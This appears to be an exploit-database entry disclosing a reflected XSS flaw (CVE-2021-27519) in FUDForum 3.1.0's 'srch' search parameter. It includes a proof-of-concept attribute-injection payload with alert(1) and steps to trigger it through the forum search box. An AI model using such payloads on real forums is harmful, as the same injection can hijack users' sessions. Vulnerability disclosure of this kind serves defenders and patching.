Fudforum 3.1.0 srch reflected xss Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-06-03 | Type : webapps | Platform : php
This exploit / vulnerability Fudforum 3.1.0 srch reflected xss is for educational purposes only and if it is used you will do on your own risk!


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# Exploit Title: FUDForum 3.1.0 - 'srch' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27519

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "srch" parameter.


-Payload used:
x" onmouseover=alert(1) x="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In "forum search" option, paste XSS payload
3- Hover your mouse to "x" and XSS will get triggered